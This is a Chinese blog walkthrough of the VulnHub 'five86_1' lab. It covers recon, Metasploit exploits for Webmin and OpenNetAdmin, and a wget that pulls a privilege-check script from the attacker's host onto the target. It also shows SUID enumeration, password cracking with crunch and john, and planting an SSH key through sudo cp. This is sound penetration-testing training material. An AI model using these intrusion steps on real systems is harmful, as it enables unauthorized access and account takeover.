『VulnHub系列』five86_1-Walkthrough

靶机地址

难度:初级+

靶机发布日期:2020年1月8日

靶机描述:Five86-1 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • metasploit
  • crunch
  • john
  • OpenNetAdmin命令注入

0x00、信息收集

靶机IP:192.168.56.102

nmap -sn 192.168.56.0/24

在这里插入图片描述
端口和服务

nmap -sS -T5 192.168.56.102

在这里插入图片描述
http://192.168.56.102/robots.txt >> /ona(OpenNetAdmin)

在这里插入图片描述
首页(80端口)打开是空白,使用curl进行确认,确实没有内容。

在这里插入图片描述
10000端口运行的是Webmin,版本MiniServ 1.920

在这里插入图片描述
页面、目录枚举

gobuster dir -u http://192.168.56.102 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html,.zip,.bak,.tar.gz

在这里插入图片描述
http://192.168.56.102/reports,需要认证。

在这里插入图片描述
总结思路如下:

1.查找Webmin MiniServ 1.920版本是否存在可利用漏洞

2.查找OpenNetAdmin v18.1.1是否存在可利用漏洞

3.通过某种方式获取到SSH的账户和密码

4.通过某种方式获取/reports目录的账户和密码

我一般先到exploit-db.com上去搜索,发现靶机上Webmin有一个未认证远程命令执行漏洞,并且可以通过Metasploit进行利用。

在这里插入图片描述
对应的OpenNetAdmin v18.1.1存在命令注入漏洞,也可以通过Metasploit进行利用。

在这里插入图片描述
接下来就是使用Metasploit进行漏洞利用,但是在搜索的时候并没有发现exploit的名称Webmin 1.920 Unauthenticated RCE,并且也搜不到OpenNetAdmin的。

在这里插入图片描述
怎么办呢?从exploit-db上把exp下载下来拷贝到Metasploit执行的目录/usr/share/metasploit-framework/modules/exploits/下就可以使用了。为了方便以后的使用,这里对exp文件进行重命名。

下载位置见下图:

在这里插入图片描述
拷贝到exploit所在的目录/usr/share/metasploit-framework/modules/exploits/

在这里插入图片描述
之后重新打开Metasploit就可以直接使用两个exp了。

0x01、getshell

在使用Webmin RCE exploit的过程中发现目标的版本需要小于等于1.910版本

在这里插入图片描述
试试OpenNetAdmin

在这里插入图片描述
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x02、权限提升

2020-01-23更新:新增:basic-linux-privilege-escalation

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

SUID权限可执行文件,发现有exim4,查看具体版本后发现是4.92。存在本地提权漏洞(local root exploit)的版本为exim <= 4.84-3。

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

当前用户可写文件

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt

在这里插入图片描述
/var/log/ona.log为OpenNetAdmin的日志文件,查看之后发现无可利用内容。

/var/mail/www-data为www-data用户的邮件,查看之后也无可利用内容。

/tmp/LVjib是一个ELF可执行文件,使用strings命令后未发现可疑内容。

查看计划任务,无。

cat /etc/crontab

查找sudo权限命令,需要密码。

sudo -l

之前通过浏览器访问/reports时发现需要进行身份认证,但查看该目录并未发现什么内容。之后想到应该看一下.htpasswd,里面的密码没准可以用到。

在这里插入图片描述
查看之后发现加密密码,账户为系统账户douglas,并给出了用于爆破的密码的规则:长度10位,包含字符串aefhrt

在这里插入图片描述
这里我们使用kali自带的密码字典生成工具crunch生成密码字典。

在这里插入图片描述
随后使用john进行破解,得到douglas的密码为fatherrrrr

在这里插入图片描述
为了方便起见,使用douglas账户通过SSH登录到靶机。

执行sudo -l发现当前账户可以jen的权限执行cp命令。这里的意图也就很明显了,就是要让我们切换到jen账户上。

在这里插入图片描述
ssh-keygen生成密钥,将公钥拷贝到/home/jen/.ssh目录下,之后使用jen账户登录。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
这里有个细节,就是jen登录之后,收到了一封邮件(见上图)。然后我们直接查看邮件的内容。发现邮件里包含了moss用户的密码Fire!Fire!

在这里插入图片描述

切换到moss账户后,重复提权的常规步骤,发现了SUID权限的/home/moss/.games/upyourgame

在这里插入图片描述

在这里插入图片描述
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。扫描下方微信二维码与我交流。我是ins1ght.

发布了50 篇原创文章 · 获赞 24 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/104078359